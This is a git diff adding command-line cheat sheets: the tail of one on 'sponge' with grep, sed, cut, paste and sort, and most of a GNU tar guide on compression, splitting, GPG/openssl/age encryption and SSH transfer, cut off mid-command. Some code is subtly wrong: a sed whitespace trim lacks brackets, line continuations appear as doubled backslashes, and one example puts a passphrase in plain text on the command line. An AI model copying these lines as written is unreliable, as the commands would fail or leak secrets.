replacements +sed -e 's/apple/orange/g' -e 's/banana/grape/g' fruits.txt | sponge fruits.txt +``` + +### Remove Carriage Returns (Windows → Unix) + +```bash +# Convert Windows line endings to Unix +sed 's/\r$//' file.txt | sponge file.txt +``` + +--- + +## ✂️ Using Sponge with cut + +`cut` extracts sections from each line of input. With `sponge`, you can trim files down to specific columns. + +### Extract Specific Field (Delimiter-Based) + +```bash +# Extract usernames (first field) from /etc/passwd format +cut -d':' -f1 users.txt | sponge users.txt +``` + +### Extract Multiple Fields + +```bash +# Keep fields 1 and 3 (colon-delimited) +cut -d':' -f1,3 data.txt | sponge data.txt +``` + +### Extract Range of Fields + +```bash +# Keep fields 2 through 5 +cut -d',' -f2-5 data.csv | sponge data.csv +``` + +### Extract by Character Position + +```bash +# Keep only first 20 characters of each line +cut -c1-20 file.txt | sponge file.txt +``` + +### Extract with Tab Delimiter (Default) + +```bash +# Extract second column (tab-separated) +cut -f2 data.tsv | sponge data.tsv +``` + +### Remove a Specific Column + +```bash +# Keep all fields EXCEPT field 3 +cut -d',' -f1,2,4- data.csv | sponge data.csv +``` + +### Extract from Specific Position to End + +```bash +# Keep characters 10 to end of each line +cut -c10- file.txt | sponge file.txt +``` + +--- + +## 📋 Using Sponge with paste + +`paste` merges lines from multiple files side by side. With `sponge`, you can combine and overwrite efficiently. + +### Merge Two Files Side by Side + +```bash +# Combine file1 and file2 with tabs between them +paste file1.txt file2.txt | sponge combined.txt +``` + +### Merge with Custom Delimiter + +```bash +# Combine files with comma separator +paste -d',' file1.txt file2.txt | sponge combined.csv +``` + +### Convert Column to Row (Serial Mode) + +```bash +# Join all lines into a single line with commas +paste -sd',' file.txt | sponge file.txt +``` + +### Create Tab-Separated Output + +```bash +# Merge three files with tabs +paste file1.txt file2.txt file3.txt | sponge merged.tsv +``` + +### Transpose Single File (Column → Row) + +```bash +# Convert newline-separated values to comma-separated +cat values.txt | paste -sd',' | sponge values.txt +# Input: apple Output: apple,banana,cherry +# banana +# cherry +``` + +### Merge with Multiple Delimiters + +```bash +# Alternate between colon and newline +paste -d':\n' file1.txt file2.txt | sponge result.txt +``` + +### Combine paste with cut + +```bash +# Extract field 1 from both files and merge +paste <(cut -d',' -f1 a.csv) <(cut -d',' -f1 b.csv) | sponge ids.txt +``` + +--- + +## 🔢 Using Sponge with sort + +`sort` orders lines alphabetically or numerically. With `sponge`, you can sort files in-place. + +### Basic Alphabetical Sort + +```bash +# Sort lines alphabetically +sort file.txt | sponge file.txt +``` + +### Reverse Sort + +```bash +# Sort in descending order +sort -r file.txt | sponge file.txt +``` + +### Numeric Sort + +```bash +# Sort numerically (not lexicographically) +sort -n numbers.txt | sponge numbers.txt +``` + +### Sort and Remove Duplicates + +```bash +# Sort and keep only unique lines +sort -u file.txt | sponge file.txt +``` + +### Sort by Specific Column + +```bash +# Sort by second column (comma-delimited) +sort -t',' -k2 data.csv | sponge data.csv + +# Sort by third column numerically +sort -t',' -k3n data.csv | sponge data.csv +``` + +### Case-Insensitive Sort + +```bash +# Ignore case when sorting +sort -f names.txt | sponge names.txt +``` + +### Human-Readable Numeric Sort + +```bash +# Sort file sizes (1K, 2M, 3G, etc.) +sort -h sizes.txt | sponge sizes.txt +``` + +### Sort IP Addresses + +```bash +# Sort IP addresses correctly +sort -t'.' -k1,1n -k2,2n -k3,3n -k4,4n ips.txt | sponge ips.txt +``` + +### Stable Sort + +```bash +# Preserve original order for equal elements +sort -s -k2 data.txt | sponge data.txt +``` + +--- + +## 🔗 Combining Multiple Tools + +The real power comes from chaining tools together. + +### Clean and Sort Config File + +```bash +# Remove comments, empty lines, and sort +grep -v '^#' config.conf | grep -v '^$' | sort -u | sponge config.conf +``` + +### Extract, Transform, and Sort + +```bash +# Get usernames, make lowercase, sort uniquely +cut -d':' -f1 passwd.txt | sed 's/.*/\L&/' | sort -u | sponge users.txt +``` + +### Filter and Format Log Entries + +```bash +# Extract error lines, keep timestamp and message, sort by time +grep 'ERROR' app.log | cut -d' ' -f1,4- | sort | sponge errors.txt +``` + +### Deduplicate and Clean Data + +```bash +# Remove duplicates, trim whitespace, sort +sort data.txt | uniq | sed 's/^:space:*//;s/:space:*$//' | sponge data.txt +``` + +### CSV Processing Pipeline + +```bash +# Remove header, sort by column 2, add header back +tail -n +2 data.csv | sort -t',' -k2 | (head -1 data.csv && cat) | sponge data.csv +``` + +--- + +## 📎 Appending with Sponge + +Use the `-a` flag to append instead of overwrite. + +```bash +# Append filtered results to existing file +grep 'WARN' new_logs.txt | sponge -a all_warnings.txt +``` + +--- + +## 💡 Pro Tips + +1. **Memory Considerations**: `sponge` buffers all input in memory. For very large files (larger than available RAM), consider alternatives or ensure sufficient memory. + +2. **Atomic Operations**: When possible, `sponge` updates files atomically by writing to a temp file first, then renaming. + +3. **Preserve Permissions**: `sponge` attempts to preserve file permissions when overwriting. + +4. **Test First**: Always test your pipeline without `sponge` first to verify output: + ```bash + # Test output first + grep -v 'pattern' file.txt | head + + # Then apply with sponge + grep -v 'pattern' file.txt | sponge file.txt + ``` + +5. **Backup Important Files**: For critical files, make a backup first: + ```bash + cp important.txt important.txt.bak + sed 's/old/new/g' important.txt | sponge important.txt + ``` + +--- + +## 📊 Quick Reference Table + +| Tool | Common Use with Sponge | Example | +|------|------------------------|---------| +| `grep` | Filter lines in-place | `grep 'keep' f.txt \| sponge f.txt` | +| `grep -v` | Remove lines in-place | `grep -v 'remove' f.txt \| sponge f.txt` | +| `sed` | Find/replace in-place | `sed 's/a/b/g' f.txt \| sponge f.txt` | +| `cut` | Extract columns in-place | `cut -d',' -f1 f.csv \| sponge f.csv` | +| `paste` | Merge files | `paste a.txt b.txt \| sponge c.txt` | +| `sort` | Sort in-place | `sort f.txt \| sponge f.txt` | +| `sort -u` | Sort + dedupe in-place | `sort -u f.txt \| sponge f.txt` | + +--- + +## 🔗 See Also + +- `tee` - Write to file while also passing to stdout (but not safe for in-place) +- `moreutils` - The package containing sponge and other useful utilities +- `sed -i` - Built-in in-place editing (but requires temp file internally) +- `sort -o` - Sort's built-in in-place output option + +--- + +*Created for efficient command-line text processing workflows* 🐧 diff --git a/src/content/sheets/tools/tar.md b/src/content/sheets/tools/tar.md @@ -0,0 +1,1086 @@ +--- +title: "TAR" +description: "tar [OPERATION] [OPTIONS] -f ARCHIVE [FILES...]" +category: tools +tags: ["tools"] +tools: ["GPG", "OpenSSL"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Tools/TAR.md" +--- +# The Ultimate `tar` Cheat Sheet + +> GNU tar 1.35 | Last updated: April 2026 + +--- + +## Core Syntax + +``` +tar [OPERATION] [OPTIONS] -f ARCHIVE [FILES...] +``` + +The `-f` flag tells tar you're working with files, not a tape device (the `f` is always required). + +--- + +## Operations (pick one) + +|Flag|Long Form|Purpose| +|---|---|---| +|`c`|`--create`|Create a new archive| +|`x`|`--extract`|Extract files from an archive| +|`t`|`--list`|List contents of an archive| +|`r`|`--append`|Append files to the end of an archive (uncompressed only)| +|`u`|`--update`|Append files newer than the copy in the archive (uncompressed only)| +|`d`|`--diff` / `--compare`|Compare archive members against the filesystem| +|`A`|`--concatenate`|Append one tar archive to another| +|`--delete`||Delete members from the archive (uncompressed only)| + +--- + +## Common Modifier Flags + +|Flag|Long Form|Purpose| +|---|---|---| +|`v`|`--verbose`|Verbose output (list files processed)| +|`vv`||Extra verbose (show permissions, ownership, size)| +|`f`|`--file`|Specify archive filename| +|`C`|`--directory`|Change to directory before performing operation| +|`p`|`--preserve-permissions`|Preserve file permissions on extraction| +|`P`|`--absolute-names`|Don't strip leading `/` from paths| +|`k`|`--keep-old-files`|Don't overwrite existing files on extraction| +|`--overwrite`||Overwrite existing files on extraction| +|`w`|`--interactive`|Ask for confirmation for every action| +|`--same-owner`||Try to extract with the same ownership| +|`--no-same-owner`||Extract as current user| +|`--numeric-owner`||Use numeric UID/GID (useful for cross-system restores)| +|`--acls`||Preserve POSIX ACLs| +|`--selinux`||Preserve SELinux contexts| +|`--xattrs`||Preserve extended attributes| +|`-h`|`--dereference`|Follow symlinks (archive the target file, not the link)| +|`--hard-dereference`||Follow hard links| +|`--one-file-system`||Stay on one filesystem (don't cross mount points)| +|`-S`|`--sparse`|Handle sparse files efficiently| +|`--totals`||Print total bytes after processing| +|`--checkpoint=N`||Print a progress message every N records| + +--- + +## All Compression Types + +GNU tar supports 8 compression filters. Each can be used with `-c` (create) or `-x` (extract). + +### Quick Reference + +|Algorithm|Short Flag|Long Flag|Extension|Compression Ratio|Speed|Levels| +|---|---|---|---|---|---|---| +|gzip|`-z`|`--gzip`|`.tar.gz` / `.tgz`|Good|Fast|1-9| +|bzip2|`-j`|`--bzip2`|`.tar.bz2` / `.tbz2`|Better|Slow|1-9| +|xz (LZMA2)|`-J`|`--xz`|`.tar.xz` / `.txz`|Best|Slowest|0-9 (+`-e` extreme)| +|zstd|`--zstd`|`--zstd`|`.tar.zst`|Good-Great|Very Fast|1-19 (+`--ultra` to 22)| +|lzip|`--lzip`|`--lzip`|`.tar.lz`|Best|Slow|0-9| +|lzma|`--lzma`|`--lzma`|`.tar.lzma`|Great|Slow|0-9| +|lzop|`--lzop`|`--lzop`|`.tar.lzo`|Lower|Very Fast|1-9| +|compress|`-Z`|`--compress`|`.tar.Z`|Poor|Fast|N/A (legacy)| + +### Create with Each Compression Type + +```bash +# gzip (most universal) +tar czf archive.tar.gz /path/to/dir + +# bzip2 (legacy, still common in older tarballs) +tar cjf archive.tar.bz2 /path/to/dir + +# xz (best compression, used by kernel tarballs and distro packages) +tar cJf archive.tar.xz /path/to/dir + +# zstd (best speed-to-ratio balance, modern default) +tar --zstd -cf archive.tar.zst /path/to/dir + +# lzip +tar --lzip -cf archive.tar.lz /path/to/dir + +# lzma (predecessor to xz) +tar --lzma -cf archive.tar.lzma /path/to/dir + +# lzop (ultrafast, low ratio) +tar --lzop -cf archive.tar.lzo /path/to/dir + +# compress (legacy, avoid) +tar -Zcf archive.tar.Z /path/to/dir + +# no compression (plain tarball) +tar cf archive.tar /path/to/dir +``` + +### Extract with Each Type + +```bash +# gzip +tar xzf archive.tar.gz + +# bzip2 +tar xjf archive.tar.bz2 + +# xz +tar xJf archive.tar.xz + +# zstd +tar --zstd -xf archive.tar.zst + +# lzip +tar --lzip -xf archive.tar.lz + +# auto-detect compression (GNU tar) +tar xaf archive.tar.gz # 'a' auto-detects the compressor +tar xf archive.tar.xz # GNU tar also auto-detects without 'a' in most cases +``` + +### List Contents Without Extracting + +```bash +tar tzf archive.tar.gz # gzip +tar tjf archive.tar.bz2 # bzip2 +tar tJf archive.tar.xz # xz +tar --zstd -tf archive.tar.zst # zstd +tar tf archive.tar # uncompressed +tar tf archive.tar.gz | head -20 # preview first 20 entries +tar tf archive.tar.gz | grep '\\.conf$' # search for .conf files +``` + +--- + +## Setting Compression Levels + +The `-I` flag (or `--use-compress-program`) lets you pass custom arguments to the compressor, including compression levels. This is how you control the speed/size tradeoff. + +### Method 1: The `-I` Flag (Recommended) + +```bash +# gzip: levels 1 (fastest) to 9 (smallest), default 6 +tar -I 'gzip -1' -cf archive.tar.gz /path/to/dir # fastest +tar -I 'gzip -6' -cf archive.tar.gz /path/to/dir # default +tar -I 'gzip -9' -cf archive.tar.gz /path/to/dir # smallest + +# bzip2: levels 1-9, default 9 +tar -I 'bzip2 -1' -cf archive.tar.bz2 /path/to/dir # fastest +tar -I 'bzip2 -9' -cf archive.tar.bz2 /path/to/dir # smallest (default) + +# xz: levels 0-9, default 6. Add -e for extreme mode +tar -I 'xz -0' -cf archive.tar.xz /path/to/dir # fastest +tar -I 'xz -6' -cf archive.tar.xz /path/to/dir # default +tar -I 'xz -9' -cf archive.tar.xz /path/to/dir # smallest +tar -I 'xz -9e' -cf archive.tar.xz /path/to/dir # extreme (even smaller, much slower) + +# zstd: levels 1-19, default 3. --ultra unlocks 20-22 +tar -I 'zstd -1' -cf archive.tar.zst /path/to/dir # fastest +tar -I 'zstd -3' -cf archive.tar.zst /path/to/dir # default +tar -I 'zstd -19' -cf archive.tar.zst /path/to/dir # high compression +tar -I 'zstd --ultra -22' -cf archive.tar.zst /path/to/dir # maximum (memory heavy) + +# lzip: levels 0-9, default 6 +tar -I 'lzip -9' -cf archive.tar.lz /path/to/dir + +# lzop: levels 1-9, default 3 +tar -I 'lzop -9' -cf archive.tar.lzo /path/to/dir +``` + +### Method 2: Environment Variables (gzip/bzip2/xz only) + +```bash +# gzip via GZIP env var (deprecated in newer gzip, but still works in most distros) +GZIP=-9 tar czf archive.tar.gz /path/to/dir + +# xz via XZ_OPT +XZ_OPT='-9e' tar cJf archive.tar.xz /path/to/dir + +# zstd via ZSTD_CLEVEL +ZSTD_CLEVEL=19 tar --zstd -cf archive.tar.zst /path/to/dir +``` + +--- + +## Multi-threaded / Parallel Compression + +Single-threaded compression is painfully slow on large datasets. Use parallel implementations to utilise all your cores. + +### Native Multi-threading + +```bash +# xz with -T0 (use all available cores, supported since xz 5.2+) +tar -I 'xz -9e -T0' -cf archive.tar.xz /path/to/dir + +# zstd with -T0 (native multi-threading, default since zstd 1.5.7) +tar -I 'zstd -19 -T0' -cf archive.tar.zst /path/to/dir + +# zstd with explicit thread count +tar -I 'zstd -19 -T4' -cf archive.tar.zst /path/to/dir +``` + +### Drop-in Parallel Replacements + +```bash +# pigz (parallel gzip, fully compatible output) +tar -I 'pigz -9' -cf archive.tar.gz /path/to/dir +tar -I 'pigz -9 -p 4' -cf archive.tar.gz /path/to/dir # limit to 4 cores + +# pbzip2 (parallel bzip2) +tar -I 'pbzip2 -9' -cf archive.tar.bz2 /path/to/dir +tar -I 'pbzip2 -9 -p4' -cf archive.tar.bz2 /path/to/dir + +# lbzip2 (alternative parallel bzip2, often faster decompression) +tar -I lbzip2 -cf archive.tar.bz2 /path/to/dir + +# plzip (parallel lzip) +tar -I 'plzip -9' -cf archive.tar.lz /path/to/dir +``` + +### Install Parallel Tools + +```bash +# Debian/Ubuntu +sudo apt install pigz pbzip2 lbzip2 zstd + +# RHEL/Fedora +sudo dnf install pigz pbzip2 lbzip2 zstd + +# Arch +sudo pacman -S pigz pbzip2 lbzip2 zstd + +# macOS +brew install pigz pbzip2 lbzip2 zstd +``` + +--- + +## Splitting Archives into Parts + +For transferring over networks, fitting onto FAT32 drives (4GB limit), or uploading in chunks. + +### Create and Split in One Pipeline + +```bash +# Split a gzip archive into 100MB chunks +tar czf - /path/to/dir | split -b 100M - archive.tar.gz.part- + +# Split an xz archive into 500MB chunks with numeric suffixes +tar cJf - /path/to/dir | split -b 500M -d - archive.tar.xz.part- + +# Split a zstd archive into 1GB chunks +tar --zstd -cf - /path/to/dir | split -b 1G -d - archive.tar.zst.part- + +# Split with a custom number of digits in suffix +tar czf - /path/to/dir | split -b 100M -d -a 3 - archive.tar.gz.part- +# produces: archive.tar.gz.part-000, archive.tar.gz.part-001, ... +``` + +### Split an Existing Archive + +```bash +split -b 100M archive.tar.gz archive.tar.gz.part- +``` + +### Reassemble and Extract + +```bash +# Reassemble into a single file, then extract +cat archive.tar.gz.part-* > archive.tar.gz +tar xzf archive.tar.gz + +# Or pipe directly without creating the intermediate file +cat archive.tar.gz.part-* | tar xzf - + +# For xz +cat archive.tar.xz.part-* | tar xJf - + +# For zstd +cat archive.tar.zst.part-* | tar --zstd -xf - +``` + +### Verify Split Archive Integrity + +```bash +# Check the reassembled archive is valid +cat archive.tar.gz.part-* | tar tzf - > /dev/null && echo "OK" || echo "CORRUPT" + +# Generate checksums before transfer +sha256sum archive.tar.gz.part-* > checksums.sha256 + +# Verify after transfer +sha256sum -c checksums.sha256 +``` + +### GNU tar Native Multi-Volume (`-M`) + +```bash +# Create multi-volume archive (each volume max 100MB) +tar -cML 100M -f vol1.tar /path/to/dir +# tar will prompt for the next volume name when vol1 fills up + +# Extract multi-volume +tar -xMf vol1.tar +# tar prompts for subsequent volumes + +# Note: multi-volume archives CANNOT be compressed +# For compressed split archives, use the pipe method above +``` + +--- + +## Excluding Files and Directories + +```bash +# Exclude a single file or directory +tar czf archive.tar.gz --exclude='*.log' /path/to/dir + +# Exclude multiple patterns +tar czf archive.tar.gz \\ + --exclude='*.log' \\ + --exclude='*.tmp' \\ + --exclude='.git' \\ + --exclude='node_modules' \\ + --exclude='__pycache__' \\ + /path/to/dir + +# Exclude from a file (one pattern per line) +tar czf archive.tar.gz --exclude-from=exclude.txt /path/to/dir + +# Exclude files matching a regex (GNU tar) +tar czf archive.tar.gz --exclude='./src/*.test.js' /path/to/dir + +# Exclude version control directories +tar czf archive.tar.gz --exclude-vcs /path/to/dir +# Excludes: .git, .svn, .hg, .bzr, CVS, etc. + +# Exclude version control ignores too (.gitignore, .hgignore, etc.) +tar czf archive.tar.gz --exclude-vcs-ignores /path/to/dir + +# Exclude backup files (*~, #*#) +tar czf archive.tar.gz --exclude-backups /path/to/dir + +# Exclude files if a certain file exists in the directory +tar czf archive.tar.gz --exclude-tag='.nobackup' /path/to/dir + +# Exclude caches (directories containing CACHEDIR.TAG) +tar czf archive.tar.gz --exclude-caches /path/to/dir +``` + +--- + +## Extracting Specific Files + +```bash +# Extract a single file +tar xzf archive.tar.gz path/to/specific/file.txt + +# Extract files matching a wildcard +tar xzf archive.tar.gz --wildcards '*.conf' +tar xzf archive.tar.gz --wildcards '*/nginx/*' + +# Extract to a specific directory +tar xzf archive.tar.gz -C /opt/restore/ + +# Extract only newer files (don't overwrite newer existing files) +tar xzf archive.tar.gz --keep-newer-files + +# Extract and strip leading path components +tar xzf archive.tar.gz --strip-components=1 +# e.g. project-v1.0/src/main.c extracts as src/main.c + +tar xzf archive.tar.gz --strip-components=2 +# e.g. project-v1.0/src/main.c extracts as main.c +``` + +--- + +## Incremental / Differential Backups + +GNU tar supports incremental backups using a snapshot file that tracks filesystem state between runs. + +```bash +# Level 0: full backup (creates the snapshot file) +tar -g /backup/snapshot.snar -czf /backup/full-$(date +%F).tar.gz /home/user/ + +# Level 1: incremental (only files changed since the last backup) +tar -g /backup/snapshot.snar -czf /backup/inc-$(date +%F).tar.gz /home/user/ + +# To force a new full backup, delete or move the snapshot file +rm /backup/snapshot.snar + +# Restore: apply full, then each incremental IN ORDER +tar -xzf /backup/full-2026-03-01.tar.gz -g /dev/null -C /restore/ +tar -xzf /backup/inc-2026-03-02.tar.gz -g /dev/null -C /restore/ +tar -xzf /backup/inc-2026-03-03.tar.gz -g /dev/null -C /restore/ +# Note: -g /dev/null on extract tells tar this is an incremental restore +# and it should handle file deletions properly +``` + +--- + +## Encryption + +tar has no native encryption. Pipe through `gpg` or `openssl` to encrypt. + +### With GPG (Symmetric / Passphrase) + +```bash +# Create encrypted archive (prompts for passphrase) +tar czf - /path/to/dir | gpg -c --cipher-algo AES256 -o archive.tar.gz.gpg + +# Decrypt and extract +gpg -d archive.tar.gz.gpg | tar xzf - + +# With a specific recipient's public key (asymmetric) +tar czf - /path/to/dir | gpg -e -r recipient@example.com -o archive.tar.gz.gpg + +# Decrypt (requires matching private key) +gpg -d archive.tar.gz.gpg | tar xzf - +``` + +### With OpenSSL + +```bash +# Encrypt with AES-256-CBC (prompts for password) +tar czf - /path/to/dir | openssl enc -aes-256-cbc -salt -pbkdf2 -out archive.tar.gz.enc + +# Decrypt and extract +openssl enc -d -aes-256-cbc -pbkdf2 -in archive.tar.gz.enc | tar xzf - +``` + +### Encrypted Incremental Backup (GPG + tar) + +```bash +# Full backup, encrypted +tar -g snapshot.snar -czf - /home/user/ | gpg -c --cipher-algo AES256 -o backup-full.tar.gz.gpg + +# Incremental, encrypted +tar -g snapshot.snar -czf - /home/user/ | gpg -c --cipher-algo AES256 -o backup-inc.tar.gz.gpg + +# Restore +gpg -d backup-full.tar.gz.gpg | tar -xzf - -g /dev/null -C /restore/ +gpg -d backup-inc.tar.gz.gpg | tar -xzf - -g /dev/null -C /restore/ +``` + +### Encrypted + Split + +```bash +# Create, compress, encrypt, and split into 100MB chunks +tar czf - /path/to/dir \\ + | gpg -c --cipher-algo AES256 \\ + | split -b 100M -d - archive.tar.gz.gpg.part- + +# Reassemble, decrypt, extract +cat archive.tar.gz.gpg.part-* | gpg -d | tar xzf - +``` + +--- + +## Sending Archives Over the Network + +```bash +# Archive and transfer via SSH in one step +tar czf - /path/to/dir | ssh user@remote 'cat > /backup/archive.tar.gz' + +# Extract remotely +tar czf - /path/to/dir | ssh user@remote 'tar xzf - -C /opt/deploy/' + +# Pull from remote +ssh user@remote 'tar czf - /remote/dir' | tar xzf - -C /local/restore/ + +# With zstd for speed +tar --zstd -cf - /path/to/dir | ssh user@remote 'tar --zstd -xf - -C /opt/deploy/' + +# With progress bar (requires pv) +tar cf - /path/to/dir | pv | gzip | ssh user@remote 'cat > /backup/archive.tar.gz' + +# Encrypted transfer (belt and braces with SSH) +tar czf - /path/to/dir | gpg -c --cipher-algo AES256 | ssh user@remote 'cat > /backup/archive.tar.gz.gpg' +``` + +--- + +## Comparing and Verifying Archives + +```bash +# Diff: compare archive members against the filesystem +tar dzf archive.tar.gz +# Shows files that differ between the archive and disk + +# Verify archive integrity without extracting +tar tzf archive.tar.gz > /dev/null +echo $? # 0 = OK, non-zero = corrupted + +# Test a zstd archive +tar --zstd -tf archive.tar.zst > /dev/null && echo "OK" || echo "CORRUPT" + +# Generate a checksum of the archive +sha256sum archive.tar.gz > archive.tar.gz.sha256 + +# Verify +sha256sum -c archive.tar.gz.sha256 +``` + +--- + +## Archive Formats + +GNU tar can produce several archive formats. Usually you don't need to worry about this, but it matters for edge cases. + +```bash +# Specify format explicitly +tar --format=gnu -cf archive.tar /path/to/dir # GNU format (default) +tar --format=posix -cf archive.tar /path/to/dir # POSIX.1-2001 (pax) format +tar --format=ustar -cf archive.tar /path/to/dir # POSIX.1-1988 +tar --format=v7 -cf archive.tar /path/to/dir # Old Unix V7 format +``` + +|Format|Long Filenames|Large Files (>8GB)|Extended Attributes|Notes| +|---|---|---|---|---| +|gnu|Yes|Yes|No|Default on Linux| +|posix (pax)|Yes|Yes|Yes|Most portable, recommended for cross-platform| +|ustar|255 chars max|No (8GB limit)|No|Older POSIX standard| +|v7|100 chars max|No|No|Legacy, avoid| + +--- + +## Practical Combos and Recipes + +### Full System Backup + +```bash +tar -I 'zstd -9 -T0' -cpf /backup/system-$(date +%F).tar.zst \\ + --acls --selinux --xattrs \\ + --one-file-system \\ + --exclude='/proc/*' \\ + --exclude='/sys/*' \\ + --exclude='/dev/*' \\ + --exclude='/run/*' \\ + --exclude='/tmp/*' \\ + --exclude='/mnt/*' \\ + --exclude='/media/*' \\ + --exclude='/lost+found' \\ + --exclude='/backup/*' \\ + / +``` + +### Web Server Backup + +```bash +tar -I 'zstd -12 -T0' -cf /backup/webserver-$(date +%F).tar.zst \\ + --exclude='*.log' \\ + --exclude='cache/*' \\ + --exclude='node_modules' \\ + /etc/nginx /etc/letsencrypt /var/www +``` + +### Quick Grab of Specific File Types + +```bash +# Archive only .py files from a project +find /project -name '*.py' -print0 | tar czf python-files.tar.gz --null -T - + +# Archive files modified in the last 24 hours +find /path -mtime -1 -print0 | tar czf recent-changes.tar.gz --null -T - + +# Archive from a file list +tar czf archive.tar.gz -T filelist.txt +``` + +### Benchmark Compression Algorithms + +```bash +for alg in 'gzip' 'bzip2' 'xz' 'zstd' 'zstd -19' 'xz -9e'; do + echo "--- $alg ---" + time tar -I "$alg" -cf /dev/null /path/to/test/dir 2>&1 + echo +done +``` + +### Disk Image Compression + +```bash +# Compress a raw disk image with zstd +dd if=/dev/sda bs=4M status=progress | zstd -T0 > disk-image.zst + +# Restore +zstd -d disk-image.zst | dd of=/dev/sda bs=4M status=progress +``` + +### Progress Bar with `pv` + +```bash +# Show progress while creating +tar cf - /large/directory | pv -s $(du -sb /large/directory | cut -f1) | gzip > archive.tar.gz + +# Show progress while extracting +pv archive.tar.gz | tar xzf - +``` + +--- + +## Gotchas and Limitations + +- **Compressed archives cannot be modified.** You cannot use `--update`, `--append`, or `--delete` on `.tar.gz`, `.tar.xz`, etc. Only uncompressed `.tar` files support these operations. +- **Multi-volume archives cannot be compressed.** Use the `split` pipe method instead. +- **Leading `/` is stripped by default.** This is a safety feature. Use `-P` to preserve absolute paths, but be careful on extraction. +- **Sparse file handling** requires `-S` to be passed explicitly. +- **Cross-platform gotchas:** GNU tar extensions (long filenames, ACLs, xattrs) may not be understood by BSD tar or busybox tar. Use `--format=posix` for maximum portability. +- **File ordering is not guaranteed** unless you sort your input file list. +- **xz multi-threaded compression uses a lot of RAM.** Roughly single-thread memory x thread count. Watch out on memory-constrained systems. + +--- + +## When to Use What + +| Scenario | Algorithm | Reasoning | +| ------------------------------------- | --------------- | ------------------------------------------------ | +| Daily backups | zstd (`-3 -T0`) | Fast, good ratio, multi-threaded by default | +| Long-term archival | xz (`-9e -T0`) | Best compression ratio, saves storage | +| Quick one-off / maximum compatibility | gzip | Available everywhere, fast enough | +| Software distribution | xz | Standard for kernel tarballs, distro packages | +| Real-time / filesystem compression | zstd | Used by btrfs, Fedora, Ubuntu, Arch for packages | +| Bandwidth-limited transfer | xz or zstd -19 | Minimise bytes on the wire | +| Speed-critical / huge datasets | lzop or zstd -1 | Minimal CPU overhead | +| Legacy systems / old tarballs | bzip2 | Superseded but still encountered | + +--- + +## Portability: `-I` vs `--use-compress-program` vs Explicit Pipes + +The `-I` flag behaves **differently** between GNU tar and BSD tar (macOS default). This is one of the most common causes of confusing errors. + +### The Problem + +|Platform|`-I` Means| +|---|---| +|GNU tar (Linux)|`--use-compress-program` — run this external compressor| +|BSD tar / bsdtar (macOS)|`--include` — include files matching a pattern (same as `-T`)| + +So on macOS: `tar -I 'xz -9e' -cf ...` will fail with `Couldn't open xz -9e: No such file or directory` because BSD tar is trying to read a **file list** called `xz -9e`. + +### Three Ways to Handle It + +```bash +# Method 1: --use-compress-program (works on BOTH GNU and BSD tar) +tar -c --use-compress-program='xz -9e' -f - /path/to/dir > archive.tar.xz + +# Method 2: Explicit pipe (most portable, works EVERYWHERE) +tar cf - /path/to/dir | xz -9e > archive.tar.xz + +# Method 3: -I flag (GNU tar ONLY — Linux, not macOS) +tar -I 'xz -9e' -cf archive.tar.xz /path/to/dir +``` + +### Portable Decompression (Explicit Pipe) + +```bash +# These work on any system regardless of tar implementation +xz -d < archive.tar.xz | tar xf - +zstd -d < archive.tar.zst | tar xf - +gzip -d < archive.tar.gz | tar xf - +``` + +### Check Which tar You Have + +```bash +tar --version +# GNU tar 1.35 → you have GNU tar, -I works as compress program +# bsdtar 3.x.x → you have BSD tar, -I means --include, use pipes instead +``` + +> **Rule of thumb:** If your script needs to run on both Linux and macOS, always use explicit pipes (`tar cf - | compressor`) or `--use-compress-program`. Never rely on `-I`. + +--- + +## Chained Workflows & Pipeline Recipes + +The real power of tar comes from chaining it with other Unix tools via pipes. Since tar can write to stdout (`-f -`) and read from stdin (`-f -`), you can build arbitrarily complex pipelines: **compress → encrypt → split → checksum → transfer** — all in a single streaming operation with no intermediate files hitting disk. + +### The Pipeline Building Blocks + +``` +┌──────┐ ┌────────────┐ ┌──────────┐ ┌───────┐ ┌──────────┐ +│ tar │───▶│ compressor │───▶│ encryptor│───▶│ split │───▶│ checksum │ +│ -cf -│ │ zstd/xz/gz │ │ gpg/age │ │ │ │ sha256 │ +└──────┘ └────────────┘ └──────────┘ └───────┘ └──────────┘ +``` + +Each block is optional. Mix and match depending on what you need. + +--- + +### Compress + Split (Custom Levels) + +When tar's built-in `-z`/`-J`/`--zstd` flags don't let you set a compression level, break the compressor out into its own pipe stage. + +```bash +# xz extreme + multi-threaded + split into 1GB parts +tar cf - /path/to/dir \\ + | xz -9e -T0 \\ + | split -b 1G -d -a 3 - archive.tar.xz.part- + +# Reassemble and extract +cat archive.tar.xz.part-* | xz -d | tar xf - + +# zstd level 19 + multi-threaded + split into 500MB parts +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | split -b 500M -d -a 3 - archive.tar.zst.part- + +# Reassemble and extract +cat archive.tar.zst.part-* | zstd -d | tar xf - + +# pigz (parallel gzip) level 9 + split into 100MB parts +tar cf - /path/to/dir \\ + | pigz -9 \\ + | split -b 100M -d - archive.tar.gz.part- + +# Reassemble and extract +cat archive.tar.gz.part-* | pigz -d | tar xf - +``` + +--- + +### Compress + Encrypt + Split (The Full Chain) + +The order matters: **always compress before encrypting**. Encrypted data is random and cannot be compressed further. + +```bash +# ── With GPG (symmetric) ── +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | gpg -c --cipher-algo AES256 --batch --passphrase-fd 3 3<<<'YourPassphrase' \\ + | split -b 500M -d -a 3 - archive.tar.zst.gpg.part- + +# Reassemble, decrypt, decompress, extract +cat archive.tar.zst.gpg.part-* \\ + | gpg -d --batch --passphrase 'YourPassphrase' \\ + | zstd -d \\ + | tar xf - + +# ── With GPG (asymmetric / public key) ── +tar cf - /path/to/dir \\ + | xz -9e -T0 \\ + | gpg -e -r recipient@example.com \\ + | split -b 1G -d -a 3 - archive.tar.xz.gpg.part- + +# Recipient reassembles, decrypts, extracts +cat archive.tar.xz.gpg.part-* | gpg -d | xz -d | tar xf - + +# ── With age (modern GPG alternative, simpler) ── +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p \\ + > archive.tar.zst.age + +# Decrypt and extract +age -d -i key.txt archive.tar.zst.age | zstd -d | tar xf - + +# ── With age + split ── +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p \\ + | split -b 500M -d -a 3 - archive.tar.zst.age.part- + +cat 